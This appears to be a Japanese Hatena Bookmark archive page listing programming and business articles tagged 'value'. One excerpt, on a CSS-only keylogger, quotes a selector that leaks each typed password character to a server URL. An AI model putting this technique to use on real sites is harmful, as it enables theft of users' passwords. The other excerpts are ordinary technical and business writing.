はてブログ

はてなブックマーク新着エントリーの過去ログサイトです。



タグ value

新着順 人気順 5 users 10 users 50 users 100 users 500 users 1000 users
 
(1 - 25 / 44件)

TypeScript 5.5で型述語を推論できて最高。配列のfilterも型安全に

2024/03/21 このエントリーをはてなブックマークに追加 16 users Instapaper Pocket Tweet Facebook Share Evernote Clip filter 述語 undefined String null

結論を先に言うと、6月リリース予定のTypeScript 5.5で次のようなコードが型安全になります。 従来: TypeScript 5.4以前 function isNumber(value: number | string): value is number { return typeof value === 'number'; } const result = [12, null, 24, undefined, 48] .filter((value): value is number => value ... 続きを読む

Server Actionsにユーザ操作されたくないデータは渡さない

2024/02/27 このエントリーをはてなブックマークに追加 6 users Instapaper Pocket Tweet Facebook Share Evernote Clip Server Actions Hidden input タグ

Next.jsやServer Actionsに限らずWebアプリケーション一般的な話になりますが、機能開発する際に、ユーザに勝手に操作されたくないデータを <input> タグを通じて受け取ることは避けなければなりません。 例えば、極端な例ですがECサイトで商品の価格を <input type="hidden" name="price" value="500" /> と書いてあっ... 続きを読む

input[type=number] のステートを安易に number 型にしない - fsubal

2022/10/03 このエントリーをはてなブックマークに追加 11 users Instapaper Pocket Tweet Facebook Share Evernote Clip fsubal String TypeScript input

#フロントエンド #TypeScript #React TL;DR input[type=number] には空文字とかも入力できるので、string 型で状態管理をしないと意図しない動きをすることがある ステートの型を縛るより input の value に渡るまでの実装を工夫する方が良い --- input[type=number] のステートを安易に number 型にするとだいたい後悔... 続きを読む

RustのSchema First GraphQLライブラリrusty-gqlを作りました

2022/01/31 このエントリーをはてなブックマークに追加 9 users Instapaper Pocket Tweet Facebook Share Evernote Clip rust async Juniper GraphQL マクロ

なぜ作ったのか これまでRustのGraphQLライブラリはjuniperとasync-graphqlがありました。 これら2つはCode Firstで設計されており、GraphQLのスキーマ定義をRustのマクロを使用して定義します。 以下はasync-graphqlの例です。 use async_graphql::*; struct MyObject { value: i32, } #[Object] impl MyObject { async... 続きを読む

変数(variable)と値(value) - ソフトウェア設計を考える

2021/11/28 このエントリーをはてなブックマークに追加 137 users Instapaper Pocket Tweet Facebook Share Evernote Clip val Variable var 変数宣言 プログラミング

はじめてScalaに触れたとき、変数宣言(var)と値宣言(val)を使い分ける言語仕様に、なるほどなあ、と思った。簡単に言えば、変数(var)は再代入できて、値(val)は再代入できない。 プログラミングのスタイルとして、var宣言は命令的なプログラミング、val宣言は宣言的なプログラミングになる。どちらのプログラミングス... 続きを読む

人が欲しいと思うものをつくろう - 宮田昇始のブログ

2020/02/13 このエントリーをはてなブックマークに追加 7 users Instapaper Pocket Tweet Facebook Share Evernote Clip 宮田昇始 SmartHR via フェーズ 最善

via) alvybrooks.com 1番好きなSmartHRの価値観(Value) タイトルの「人が欲しいと思うものをつくろう」は、SmartHRが重要視する6つの価値観の1つです。 取材や面接などで「1番重要な価値観はどれですか?」と聞かれると、急拡大フェーズにおいては「自律駆動」、事業が複雑化してきたフェーズでは「最善のプランCを探... 続きを読む

Atomic Architecture

2019/08/04 このエントリーをはてなブックマークに追加 318 users Instapaper Pocket Tweet Facebook Share Evernote Clip atomic pure 関数 概念 集合

Atomic Architecture 1. Atomic Architecture kawasima すえなみチャンス2019夏 2. Atomicity 3. 設計要素をAtomicに分解し、 よく知られた設計パターンの解説を試みる Value (pure) Function Namespace Time Identity 値そのもの。またはその集合。 副作用のない関数 値の集合の一意性 業務上の時間の概念 名前空間 『S... 続きを読む

【Excel】計算式は正しいはずなのに「#VALUE!」エラーが!エクセルでセルに文字列を含めたまま計算するワザ - いまさら聞けないExcelの使い方講座 - 窓の杜

2019/04/19 このエントリーをはてなブックマークに追加 9 users Instapaper Pocket Tweet Facebook Share Evernote Clip Excel エクセル セル ワザ エラー

続きを読む

javascriptのgenerator - Qiita

2019/03/29 このエントリーをはてなブックマークに追加 10 users Instapaper Pocket Tweet Facebook Share Evernote Clip GENERATOR done Qiita yield food

メモメモ・・・ 関数名を*をつけてgeneratorを作る function or 関数名に*をつける 渡したい値にyieldキーワードに値を宣言 next()で取り出す next().valuevalueにズバリの値が取り出せる valueを変更したい function* food(){ yield 'ハンバーガー'; } var f = food(); f.next(); // {value: "ハンバーガー", done: ... 続きを読む

共感を生むデザインをするために必要な3つの視点 | Goodpatch Blog

2018/12/19 このエントリーをはてなブックマークに追加 27 users Instapaper Pocket Tweet Facebook Share Evernote Clip 共感 Goodpatch Blog 視点 デザイン Pla

Goodpatchには、VisionとMissionを実現するために存在する5つのValueというものが存在します。Goodpatchの社員はこのValueを大切にしV、体現することでGoodpatchらしさを守りながら、デザインの力を証明すべく強い組織作りに取り組んでいます。 1. Inspire with Why Whyが人を動かす 2. Go Beyond 領域を超えよう 3. Pla... 続きを読む

メルカリの3つのValueで取り組むインシデント対応 - Mercari Engineering Blog

2018/04/10 このエントリーをはてなブックマークに追加 119 users Instapaper Pocket Tweet Facebook Share Evernote Clip メルカリ ネットワ インシデント対応 ハードウェア tl;dr

2018 - 04 - 10 メルカリの3つのValueで取り組むインシデント対応 TL;DR メルカリには Go Bold 、 Be Professional 、 All for One という3つの行動指針(Value)があります。今回はこれらのValueを元にメルカリでインシデント対応をどのように行っているかを紹介します。 インシデント対応とは 本エントリでは、いわゆるハードウェアやネットワ... 続きを読む

CSSだけでキーロガーを作る - R42日記

2018/02/27 このエントリーをはてなブックマークに追加 361 users Instapaper Pocket Tweet Facebook Share Evernote Clip キーロガー localhost maxchehab URL

2018 - 02 - 21 CSSだけでキーロガーを作る https://github.com/maxchehab/CSS-Keylogging よくもまあこんなこと思いついたなw 要するに、 input [ type = "password" ][ value $= "a" ] { background-image : url( "http://localhost:3000/a" ) ; } ... 続きを読む

大コンテナ時代を生きのこるためのJSON Schema - Sexually Knowing

2017/12/08 このエントリーをはてなブックマークに追加 49 users Instapaper Pocket Tweet Facebook Share Evernote Clip JSON Schema Sexually Knowing

2017 - 12 - 08 大コンテナ時代を生きのこるためのJSON Schema 実行環境をコンテナ化するDockerが普及して久しく、CIやローカルの開発環境などどこかでコンテナ技術に触れているのではないでしょうか。 コンテナはその性質上、設定のプロビジョニングに古典的な設定ファイル (のパス) 受け渡しが難しいです。 etcd や consul のようなKVS (= Key- value ... 続きを読む

VALUEの仕組みがイマイチ良くわからなかった僕が、損した人の話を読んだら一発でわかった - 散るろぐ

2017/08/16 このエントリーをはてなブックマークに追加 21 users Instapaper Pocket Tweet Facebook Share Evernote Clip ナルホド からくり コチラ 解説 一発

2017 - 08 - 16 VALUEの仕組みがイマイチ良くわからなかった僕が、損した人の話を読んだら一発でわかった Twitter Google+ Pocket VALUEってなんだろう? ずっとそう思いながら生きてきました。色んな解説を読んでも、イマイチ意味が分からなかったんですよ。 その謎が解けたのが、コチラです。 コチラを読んで、ナルホド…そんなカラクリだったのかと、大いに納得しました。... 続きを読む

lltsvでLTSV形式のデータをサクサクパースしよう - Mercari Engineering Blog

2017/05/09 このエントリーをはてなブックマークに追加 143 users Instapaper Pocket Tweet Facebook Share Evernote Clip LTSV cubicdaiya Key SREチーム コロン

2017 - 05 - 09 lltsvでLTSV形式のデータをサクサクパースしよう SREチームの @cubicdaiya です。 今回は lltsv というツールを利用して LTSV 形式のデータを処理する術について解説します。 LTSV LTSV はLabeled Tab-separated Valuesの略で、コロンで区切られたラベルと値の組み合わせ(key:value)をタブ区切りで表現... 続きを読む

Swiftにおけるclassとstructの使い分け - cockscomblog?

2016/01/01 このエントリーをはてなブックマークに追加 96 users Instapaper Pocket Tweet Facebook Share Evernote Clip struct structure cockscomblog

2016 - 01 - 01 Swiftにおけるclassとstructの使い分け Swift Development 日記 新年あけましておめでとうございます。 class, struct Swift にはclass ( class )の他にstructure ( struct )があり、どちらもよく似た機能を提供する。しかしそれぞれ参照型 (reference type)と値型 (value ... 続きを読む

javascript で、selectの選択中のoptionのvalueを取得する方法で、 - select... - Yahoo!知恵袋

2015/12/28 このエントリーをはてなブックマークに追加 16 users Instapaper Pocket Tweet Facebook Share Evernote Clip Option select val jQuery def

javascript で、selectの選択中のoptionのvalueを取得する方法で、 selectedIndex や Jquery の $('[name=●●●]').val(); などを使わない手法はありますか? <select name='●●●'> <option value='ABC'>ABC</option> <option value='DEF'>DEF</option> <op... 続きを読む

Webページのレイアウトに役立つ20のデザインテクニック | コリス

2015/09/29 このエントリーをはてなブックマークに追加 388 users Instapaper Pocket Tweet Facebook Share Evernote Clip コリス レイアウト 階層 デザインテクニック フォーカス

ページのレイアウトをする時に全てが同じ大きさ・形・色だと、それは非常に退屈なデザインになってしまいます。要素を整理し、階層をつくり、重要な箇所にフォーカスがあたるようにするにはコントラストを効果的に使うことです。 レイアウトにビジュアルの興味を加え、デザインを生き生きとさせるコントラストの使い方を紹介します。 色の値(value)とはカラーの明るさや暗さをあらわす用語で、ピュアブラックとピュアホワ... 続きを読む

人工知能を使って不動産の成約価格を高精度で推定する「VALUE」——イタンジが新サービス | TechCrunch Japan

2015/07/08 このエントリーをはてなブックマークに追加 41 users Instapaper Pocket Tweet Facebook Share Evernote Clip イタンジ ヘヤジンプライム 人工知能 精度 物件

「人工知能を使って○○をする」なんてスタートアップのニュースが増えているが、今度は人工知能を使って不動産の成約価格を推定するというサービスが登場した。仲介手数料無料のネット専業不動産仲介サービス「ヘヤジンプライム」を提供するイタンジは7月8日、人工知能を活用した不動産投資家向けサービス「VALUE」の提供を開始した。 VALUEでは、同社が開発した人工知能を用いて、REINS(不動産業者向けの物件... 続きを読む

開発した人工知能の予測精度は94%ーー不動産投資家に相場価格から乖離した物件情報を届ける「VALUE」 - THE BRIDGE(ザ・ブリッジ)

2015/07/08 このエントリーをはてなブックマークに追加 26 users Instapaper Pocket Tweet Facebook Share Evernote Clip イタンジ 慣習 ヘヤジンプライム テクノロジー 伊藤

仲介手数料0円の賃貸物件を扱う会員制仲介サービス「ヘヤジンプライム」や、総合賃貸管理システム「ヘヤジンコネクト」などを運営するイタンジ。同社は、2代続く不動産家系出身の代表取締役社長 伊藤 嘉盛氏が、古い不動産業界特有のグレーな慣習をITで変えることを目指して2012年に立ち上げました。 そんなイタンジが新たに開発したのが、不動産の成約価格を推定する人工知能のテクノロジー。米国などを中心に注目を集... 続きを読む

Rails の `utf8=✓` の歴史と消し方と snowman ☃ - Qiita

2015/06/08 このエントリーをはてなブックマークに追加 58 users Instapaper Pocket Tweet Facebook Share Evernote Clip Hidden submit snowman Form type

Rails の form_tag や form_for で form を作成すると <input name="utf8" type="hidden" value="✓"> という input 要素が自動で追加されて、submit すると utf8=✓ というパラメータが付いてくる。これの歴史と消し方を調べた。 Rails3 で、Internet Explorer 5、6、7、8 にパラメータを U... 続きを読む

前置インクリメント vs 後置インクリメント | 闇夜のC++

2015/04/13 このエントリーをはてなブックマークに追加 298 users Instapaper Pocket Tweet Facebook Share Evernote Clip 闇夜 アーティクル インクリメント 挙動 C++

このアーティクルでは前置と後置、2種類のインクリメントについて考察と現状をまとめるものです。 長年の常識 従来(~2015)は前置インクリメント(++value)と後置インクリメント(value++)の挙動の違いを正しく完全に理解した上で前置インクリメントを使うべきだ。というのがC++プログラマの基本姿勢でした。 各インクリメントの標準的な実装を以下に示します。// 前置インクリメント T& T:... 続きを読む

[JavaScript] ループ途中で抜ける処理は for(in break) ではなく some を使おう♪ - Qiita

2015/03/10 このエントリーをはてなブックマークに追加 58 users Instapaper Pocket Tweet Facebook Share Evernote Clip some Qiita arr Len runstant

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; for (var i=0,len=arr.length; i<len; ++i) { var value = arr[i]; if (value > 5) { break; } console.log(value); } [runstant] Array.prototype.some 5 以上だったら true ... 続きを読む

RSpec をやめて Test::Unit に戻る - @tmtms のメモ

2014/10/12 このエントリーをはてなブックマークに追加 270 users Instapaper Pocket Tweet Facebook Share Evernote Clip rspec tmtms unit Allow test

2014-10-12 RSpec をやめて Test::Unit に戻る Ruby 最近の RSpec は、それまで obj.stub(hoge: value) と書けたものが、 allow(obj).to receive(:hoge).and_return value と書かないといけなくなったりとか、正気の沙汰とは思えないような変更をしたりするので、何年かぶりに Test::Unit を使って... 続きを読む

Rubyのイテレータメソッドと似ているJavascriptの便利なメソッド - Qiita

2014/06/19 このエントリーをはてなブックマークに追加 63 users Instapaper Pocket Tweet Facebook Share Evernote Clip Qiita イテレータメソッド Array.forEach

ECMAScript5になり、Rubyのイテレータメソッドに似たメソッドはJavascriptでも使えるようになった。それが下記のメソッドである オブジェクトはArrayである forEach(Rubyのeachのようなもの) var array = [1, 2, 3, 4, 5]; var sum = 0; array.forEach(function(value){ sum = value +... 続きを読む

 
(1 - 25 / 44件)